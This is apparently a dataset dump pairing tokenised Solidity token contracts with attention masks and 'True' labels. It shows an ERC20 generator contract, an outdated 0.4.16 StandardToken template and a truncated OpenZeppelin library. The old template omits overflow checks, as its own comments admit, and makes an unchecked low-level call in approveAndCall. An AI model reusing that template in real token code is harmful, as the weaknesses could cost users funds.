2629, 2094, 18827, 16086, 15136, 2575, 2546, 2581, 21926, 2509, 2278, 2683, 22907, 2063, 2581, 18939, 2475, 16409, 2278, 19841, 2509, 2278, 2692, 2063, 29345, 2497, 26187, 2509, 3540, 2620, 19317, 2581, 2509, 2497, 2581, 29292, 4215, 17914, 19961, 2094, 27531, 2050, 22610, 2692, 2003, 2513, 1013, 1013, 2005, 6115, 2302, 3642, 1010, 1045, 1012, 1041, 1012, 1036, 17710, 16665, 2243, 17788, 2575, 1006, 1005, 1005, 1007, 1036, 27507, 16703, 3642, 14949, 2232, 1025, 27507, 16703, 4070, 14949, 2232, 1027, 1014, 2595, 2278, 2629, 2094, 18827, 16086, 15136, 2575, 2546, 2581, 21926, 2509, 2278, 2683, 22907, 2063, 2581, 18939, 2475, 16409, 2278, 19841, 2509, 2278, 2692, 2063, 29345, 2497, 26187, 2509, 3540, 2620, 19317, 2581, 2509, 2497, 2581, 29292, 4215, 17914, 19961, 2094, 27531, 2050, 22610, 2692, 1025, 1013, 1013, 14017, 10606, 2102, 1011, 4487, 19150, 1011, 2279, 1011, 2240, 2053, 1011, 23881, 1011, 3320, 3320, 1063, 3642, 14949, 2232, 1024, 1027, 4654, 13535, 10244, 14949, 2232, 1006, 4070, 1007, 1065, 2709, 1006, 3642, 14949, 2232, 999, 1027, 4070, 14949, 2232, 1004, 1004, 3642, 14949, 2232, 999, 1027, 1014, 2595, 2692, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 6110, 2005, 5024, 3012, 1005, 1055, 1036, 4651, 1036, 1024, 10255, 1036, 3815, 1036, 11417, 2000, 1008, 1036, 7799, 1036, 1010, 2830, 2075, 2035, 2800, 3806, 1998, 7065, 8743, 2075, 2006, 10697, 1012, 1008, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 6988, 1031, 1041, 11514, 15136, 2620, 2549, 1033, 7457, 1996, 3806, 3465, 1008, 1997, 3056, 6728, 23237, 1010, 4298, 2437, 8311, 2175, 2058, 1996, 11816, 2692, 3806, 5787, 1008, 9770, 2011, 1036, 4651, 1036, 1010, 2437, 2068, 4039, 2000, 4374, 5029, 3081, 1008, 1036, 4651, 1036, 1012, 1063, 4604, 10175, 5657, 1065, 20362, 2023, 22718, 1012, 1008, 1008, 16770, 1024, 1013, 1013, 29454, 29206, 3401, 1012, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. / // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /* * @title ServicePayer * @dev Implementation of the ServicePayer / abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /* * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright / contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /* * @dev Returns the token generator tool. / function generator() public pure returns (string memory) { return _GENERATOR; } /* * @dev Returns the token generator version. / function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /* * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2005, 2489, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 2138, 1997, 1008, 2009, 2003, 2525, 20119, 1012, 1008, 1008, 5860, 19771, 5017, 1024, 13103, 1005, 1055, 3166, 2003, 2489, 1997, 2151, 14000, 4953, 1996, 19204, 1998, 1996, 2224, 2008, 2003, 2081, 1997, 2009, 1012, 1008, 1996, 2206, 3642, 2003, 3024, 2104, 10210, 6105, 1012, 3087, 2064, 2224, 2009, 2004, 2566, 2037, 3791, 1012, 1008, 1996, 13103, 1005, 1055, 3800, 2003, 2000, 2191, 2111, 2583, 2000, 19204, 4697, 2037, 4784, 2302, 16861, 2030, 7079, 2005, 2009, 1012, 1008, 3120, 3642, 2003, 2092, 7718, 1998, 10843, 7172, 2000, 5547, 3891, 1997, 12883, 1998, 2000, 8970, 2653, 20600, 2015, 1012, 1008, 4312, 1996, 5309, 1997, 19204, 2015, 7336, 1037, 2152, 3014, 1997, 3891, 1012, 2077, 13868, 19204, 2015, 1010, 2009, 2003, 6749, 2000, 1008, 5362, 21094, 2035, 1996, 2592, 1998, 10831, 6851, 1999, 19204, 3954, 1005, 1055, 3785, 1012, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.16; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token / / NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. / string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 5000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 5000000000000000000000; // Update total supply (100000 for example) name = "Trader.Finance"; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = "TRDF"; // Set the symbol for display purposes } / Approves and then calls the receiving contract / function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 3206, 19204, 1063, 1013, 1013, 1013, 1030, 2709, 2561, 3815, 1997, 19204, 2015, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3954, 1996, 4769, 2013, 2029, 1996, 5703, 2097, 2022, 5140, 1013, 1013, 1013, 1030, 2709, 1996, 5703, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1063, 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// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` / library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function 